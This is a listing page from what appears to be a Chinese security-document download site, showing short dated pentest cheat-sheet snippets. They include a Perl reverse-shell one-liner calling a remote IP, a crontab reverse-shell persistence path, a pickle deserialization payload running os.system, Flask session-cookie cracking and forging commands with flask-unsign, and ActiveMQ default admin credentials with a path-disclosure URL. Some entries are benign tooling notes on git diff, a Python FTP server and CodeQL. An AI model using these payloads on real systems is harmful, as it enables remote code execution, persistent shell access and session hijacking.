爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

preg_replace /e代码执行php版本范围

5.2~5.6可以，php 版本7 以上，不支持/e修饰符。

2022-09-04 01:04:50

git diff对比文件内容

比较两个文件内容：diff --git first.file second.file比较git不同分支的文件内容：git diff 1.11.4 1.11.5 django/views/debug.py

2022-09-03 23:51:06

python 开启ftp服务器

python -m pyftpdlib -p 2121

2022-09-03 23:42:57

CVE漏洞参考链接

CVE-2020-17526https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromiseCVE-2017-3066https://zhuanlan.zhihu.com/p/34628666?from_voters_page=trueCVE-2019

2022-09-03 21:26:57

Flask爆cookie session密钥

flask-unsign -u -c "<session-cookie-value>"重新生成cookie session:flask-unsign -s --secret "temporary_key" -c "<updated-json-value>"

2022-09-03 21:19:58

pickle反序列化payload生成

command = 'touch /tmp/celery_success'class Person(object): def __reduce__(self): return (__import__('os').system, (command,))

2022-09-03 21:07:31

crontab反弹shell

写入路径：/etc/cron.d/root文件内容：*/1 * * * * root 反弹shell命令

2022-09-03 20:39:15

perl反弹shell

/usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S&

2022-09-03 20:34:57

ActiveMq查看安装目录绝对路径

默认的ActiveMQ账号密码均为admin，首先访问http://your-ip:8161/admin/test/systemProperties.jsp，查看ActiveMQ的绝对路径：

2022-09-03 20:31:55

Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities

java消息反序列化漏洞

2022-09-03 20:25:09

GB50174-2017 数据中心设计规范

GB50174-2017 数据中心设计规范

2022-08-31 20:12:27

codeql创建数据库命令

codeql database create ./out --language=java --command="mvn clean install --file pom.xml" --source-root="./src" --overwrite

2022-08-28 19:42:38

跳转到页